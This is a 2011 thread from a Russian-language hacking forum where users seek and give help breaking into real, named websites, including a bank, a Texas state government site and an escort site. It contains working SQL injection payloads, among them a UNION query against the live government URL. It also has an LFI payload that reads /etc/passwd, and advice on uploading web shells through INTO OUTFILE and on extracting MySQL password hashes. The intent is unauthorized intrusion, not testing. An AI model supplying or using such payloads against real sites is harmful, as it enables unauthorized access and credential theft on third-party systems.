 |
|
17.10.2011, 15:46
|
|
Участник форума
Регистрация: 26.06.2010
Сообщений: 179
С нами:
8357366
Репутация:
6
|
|
Может кто-нибудь помощь с HTTP Verb Tampering. Я отправляю PUT, DELETE, OPTIONS и т.д. Но какая польза? Можно ли проникнуть в сайт? Спасибо.
P.S. В гугле копал, ничего не нашел про эксплуатацию(кроме обхода VBAAC, Гольцева..)
|
|
|
18.10.2011, 08:07
|
|
Новичок
Регистрация: 17.06.2011
Сообщений: 2
С нами:
7844726
Репутация:
0
|
|
Подскажите как узнать таблицы с колонками в MySQL 4.0.x ? всю ночь парился и не фига,просто сайт банка нашел с sql
|
|
|
|
18.10.2011, 08:14
|
|
Познающий
Регистрация: 17.04.2009
Сообщений: 59
С нами:
8982831
Репутация:
37
|
|
Сообщение от immortal_Ale
Подскажите как узнать таблицы с колонками в MySQL 4.0.x ? всю ночь парился и не фига,просто сайт банка нашел с sql
Колонки можно узнать, если есть вывод об ошибках, и есть имя таблицы у которой нужно узнать колонки. А таблицы никак не узнать, только брутом. Проверить, есть ли права на счему mysql, потом file_priv. Если есть права, то можно будет через into outfile попробовать залить, а если file_priv=N то можно будет хэши mysql юзеров вытащить и потом попытаться phpMyAdmin найти, чтобы авторизоваться
Сообщение от Kuteke
Может кто-нибудь помощь с HTTP Verb Tampering. Я отправляю PUT, DELETE, OPTIONS и т.д. Но какая польза? Можно ли проникнуть в сайт? Спасибо.
P.S. В гугле копал, ничего не нашел про эксплуатацию(кроме обхода VBAAC, Гольцева..)
Как я знаю, PUT, DELETE, OPTIONS ничего полезного не дадут. Иногда бывает в .htaccess т.е. Post запросы будут проходить.
|
|
|
|
18.10.2011, 15:01
|
|
Участник форума
Регистрация: 26.06.2010
Сообщений: 179
С нами:
8357366
Репутация:
6
|
|
http://ts.cityvibe[nogoogle].com/escorts.php?country=1[inj]&do=cityview
ORA-xxxx пишет. Значит Oracle? Раскрутите пожалуйста.
|
|
|
|
18.10.2011, 22:56
|
|
Новичок
Регистрация: 01.09.2011
Сообщений: 1
С нами:
7735286
Репутация:
0
|
|
Вопрос по phpmyadmin: Есть уязвимый для LFI сайт _www.someurl.com/phpmyadmin/css/phpmyadmin.css.php?GLOBALS[cfg][ThemePath]=/etc&theme=passwd%00
Долго пытался найти логи apach, но так и не смог, proc/self/environ тоже не доступен для чтения. Есть ли какие-нибудь другие способы залить шелл?
|
|
|
|
19.10.2011, 16:14
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
есть такой вопрос
http://xchats.ru/forum/xf.php?s=0&ci=1&id=0&pass=&mod=show&rid=1&page=0%2 7
смогу ли я влепить сюда свой запрос если уязвимый гет параметр передаётся в лимит? если да то как?
|
|
|
|
19.10.2011, 16:31
|
|
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами:
8255126
Репутация:
78
|
|
Сообщение от qaz
есть такой вопрос
http://xchats.ru/forum/xf.php?s=0&ci=1&id=0&pass=&mod=show&rid=1&page=0%2 7
смогу ли я влепить сюда свой запрос если уязвимый гет параметр передаётся в лимит? если да то как?
Там нет инъекции.
Просто кривые руки.
В коде бы выглядело как-то так:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#DD0000"]"... LIMIT "[/COLOR][COLOR="#007700"]. (([/COLOR][COLOR="#0000BB"]$_GET[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'page'[/COLOR][COLOR="#007700"]]-[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])*[/COLOR][COLOR="#0000BB"]10[/COLOR][COLOR="#007700"]) .[/COLOR][COLOR="#DD0000"]", 10 .. "[/COLOR][/COLOR]
|
|
|
|
19.10.2011, 17:58
|
|
Новичок
Регистрация: 04.12.2008
Сообщений: 12
С нами:
9176038
Репутация:
8
|
|
Вот крутил как слепую, никак до ума довести не могу как выдрать логины.
Мож у Вас что получится ?
Код:
http://www.agd.state.tx.us/36id/storyquery.asp?ID=41+and+(select+count(user_name)+from+stories)=18+and+1=1
Забыл сказать, то что выше - это MsAccess |
|
|
|
19.10.2011, 19:53
|
|
Постоянный
Регистрация: 10.06.2011
Сообщений: 939
С нами:
7854806
Репутация:
173
|
|
Всем привет, дайте подсказку с Smf форумом, нету прав на запись в папку тем, как залить шелл?
|
|
|
|
19.10.2011, 20:19
|
|
Участник форума
Регистрация: 05.09.2010
Сообщений: 147
С нами:
8255126
Репутация:
78
|
|
Сообщение от BigBear
Вот крутил как слепую, никак до ума довести не могу как выдрать логины.
Мож у Вас что получится ?
Код:
http://www.agd.state.tx.us/36id/storyquery.asp?ID=41+and+(select+count(user_name)+from+stories)=18+and+1=1
Забыл сказать, то что выше - это
MsAccesshttp://www.agd.state.tx.us/36id/storyquery.asp?ID=41)and(1=2)union(select(1),(2),( 3),(4),(5),(6),(7),(8),(9),(10),(11),(12)from(stor ies)
|
|
|
|
|
|
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
